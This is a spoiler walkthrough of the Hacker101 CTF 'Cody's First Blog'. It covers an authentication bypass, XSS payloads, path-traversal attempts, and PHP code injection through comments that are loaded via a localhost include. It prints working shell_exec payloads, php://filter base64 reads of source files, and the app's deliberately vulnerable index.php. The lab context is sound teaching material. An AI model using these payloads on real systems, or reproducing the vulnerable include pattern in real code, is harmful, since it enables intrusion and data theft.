HackerOne CTF Cody's First Blog (Spoilers)
On visiting Cody's blog, I'm greeted by the following:
Home
Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.
September 1, 2018 -- First
First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().
Stick around for a while and comment as much as you want; all thoughts are welcome!
Comments
Add comment:
Entering a comment "Hello! I agree wholeheartedly that PHP is the perfect template language." doesn't accomplish anything other than bringing us to a page with the message "Comment submitted and awaiting approval!". Despite appealing to his ego, there's no comment on the main page when navigating back. I'm going to need to do this myself.
The source of this app immediately provides a hint: An admin login page can be accessed by passing the get parameters "?page=admin.auth.inc":
<!doctype html>
<html>
<head>
<title>Home -- Cody's First Blog</title>
</head>
<body>
<h1>Home</h1>
<p>Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.</p>
<h2>September 1, 2018 -- First</h2>
<p>First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it <i>is</i> a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().</p>
<p>Stick around for a while and comment as much as you want; all thoughts are welcome!</p>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
This renders the login form at the top of the page, and the comment section remains:
Admin Login
Comments
Add comment:
It's tempting to want to rush into brute forcing that login, but entering random values yields "Incorrect username or password". Without knowing a username in advance I'd need to fuzz the entire wordlist of common passwords across a range of common admin usernames, and even then I might still come up empty. I'm going to keep this in my back pocket for later if nothing else works.
Given Cody's post above about using includes in php, I have a hunch that this is is just replacing the main php file containing his first blog post with the admin.auth.inc php file using something like: <?php include 'admin.auth.inc';?>
. What if Cody wrote another php page "admin.inc"?
Admin
Pending Comments
Comment on home.inc
Hello! I agree wholeheartedly that PHP is the perfect template language.
Approve CommentComments
Add comment:
Admin flag is ^FLAG^****************************************************************$FLAG$
He sure did, and there's no authentication verification at all. Authentication bypass accomplished. For this, I've secured a flag and can see the comment I tried to post earlier waiting for approval. Time to go back and try another comment, this time with an XSS payload. Approving a comment with <script>console.log(1);</script>
or <script>alert(1);</script>
works great, but there's no flag for this.
What else might be possible? Path traversals to non php files? How about <?php include '../../../etc/passwd';?>
That doesn't work, it just returns the following error message:
Notice: Undefined variable: title in /app/index.php on line 30
Warning: include(../../../etc/passwd';.php): failed to open stream: No such file or directory in /app/index.php on line 21
Warning: include(): Failed opening '../../../etc/passwd';.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21
What about including an arbitrary php include in the comment itself? <?php include($_GET['file']);?>
?
^FLAG^****************************************************************$FLAG$
Comment submitted and awaiting approval!
Go backRevisiting the page with ?file=../etc/passwd
or similar doesn't appear to do much unfortunately, because the injected php tags are being sanitized:
<!--?php include($_GET['file']);?-->
I tried various tricks to try and bypass this behaviour, but none worked. One such example was:
--> <?php echo "bypassed!";?> <!--
Despite failing, this attempt in particular turned out to be very useful later on. Cody is pretty much taunting us to achieve a remote file inclusion with his first post. I started by systematically trying all the LFI tricks in https://book.hacktricks.xyz/pentesting-web/file-inclusion
It became obvious that most of these approaches weren't going to work, including tricks using:
php://filter/convert/...
data://data://text/plain;base64,...
php://input ...
At this point I was a bit frustrated. None of the obvious things were working, and I was stretching for anything. I tried the following to get the server to loop back to itself and attempt a LFI:
https://*.ctf.hacker101.com/?page=http://127.0.0.1/.htaccess
Notice: Undefined variable: title in /app/index.php on line 30
Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21
Warning: include(): Failed opening 'http://127.0.0.1/.htaccess.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21
Comments
Add comment:
Huh. "Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21". That's interesting. First, it's appending ".php" to the end of the included files. Second, clearly URLs are allowed in the includes. What else can be included with this localhost approach?
https://f4771459e1d845877434d365ddc67b4f.ctf.hacker101.com/?page=http://127.0.0.1/index
Home
Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.
September 1, 2018 -- First
First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().
Stick around for a while and comment as much as you want; all thoughts are welcome!
Comments
Add comment:
Notice: Undefined index: file in http://127.0.0.1/index.php on line 26
Warning: include(): Filename cannot be empty in http://127.0.0.1/index.php on line 26
Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in http://127.0.0.1/index.php on line 26
--> bypassed!
Add comment:
Woah. My earlier attempt to inject "bypassed!" via an echo just worked. I just accidentally figured out how to bypass the sanitization and achieve full RCE. Time to start exploiting it with new comments (on a clean instance to clear out some of the mess I just made):
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
Notice: Undefined variable: title in /app/index.php on line 30
Home
Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.
September 1, 2018 -- First
First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().
Stick around for a while and comment as much as you want; all thoughts are welcome!
Comments
Add comment:
total 116 -rw-r--r-- 1 root root 154 Dec 12 2018 setup.sh drwxr-xr-x 2 root root 4096 Dec 12 2018 posts -rw-r--r-- 1 root root 356 Dec 12 2018 admin.auth.inc.php -rw-r--r-- 1 root root 69889 Dec 12 2018 php.ini -rw-r--r-- 1 root root 412 Dec 12 2018 home.inc.php -rw-r--r-- 1 root root 495 Dec 12 2018 admin.inc.php -rw-r--r-- 1 root root 372 Dec 12 2018 Dockerfile -rw-r--r-- 1 root root 278 Dec 12 2018 000-default.conf drwxr-xr-x 1 root root 4096 Aug 3 21:40 .. -rw-r--r-- 1 root root 1502 Aug 3 21:40 index.php drwxr-xr-x 1 root root 4096 Aug 3 21:40 .
Awesome, I also want to know if there are any hidden secrets in the posts folder:
<?php
$output = shell_exec('ls -lart posts/');
echo "<pre>$output</pre>";
?>
total 16 -rw-r--r-- 1 root root 414 Dec 12 2018 first.inc.php drwxr-xr-x 2 root root 4096 Dec 12 2018 . drwxr-xr-x 1 root root 4096 Aug 3 21:40 ..
Nothing interesting. Next it will be great to see all the source code for Cody's blog to know where else to look for this last flag. To ensure the code can be exfiltrated without being processed into HTML by php, I'll just dump them each to base64 to be decoded locally:
<?php
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/index.php");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/setup.sh");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.auth.inc.php");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/php.ini");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.inc.php");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/Dockerfile");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/000-default.conf");
echo "<br><br>";
echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/posts/first.inc.php");
echo "<br><br>";
?>
I didn't need to keep looking long. Decoding the index.php file yields the last flag in a comment right at the top:
<?php
// ^FLAG^****************************************************************$FLAG$
mysql_connect("localhost", "root", "");
mysql_select_db("level4");
$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
$page = "home.inc";
if(isset($_POST['body'])) {
mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
if(strpos($_POST['body'], '<?php') !== false)
echo '<p>^FLAG^****************************************************************$FLAG$</p>';
?>
<p>Comment submitted and awaiting approval!</p>
<a href="javascript:window.history.back()">Go back</a>
<?php
exit();
}
ob_start();
include($page . ".php");
$body = ob_get_clean();
?>
<!doctype html>
<html>
<head>
<title><?php echo $title; ?> -- Cody's First Blog</title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php echo $body; ?>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
<?php
$q = mysql_query("SELECT body FROM comments WHERE page='" . mysql_real_escape_string($page) . "' AND approved=1");
while($row = mysql_fetch_assoc($q)) {
?>
<hr>
<p><?php echo $row["body"]; ?></p>
<?php
}
?>
</body>
</html>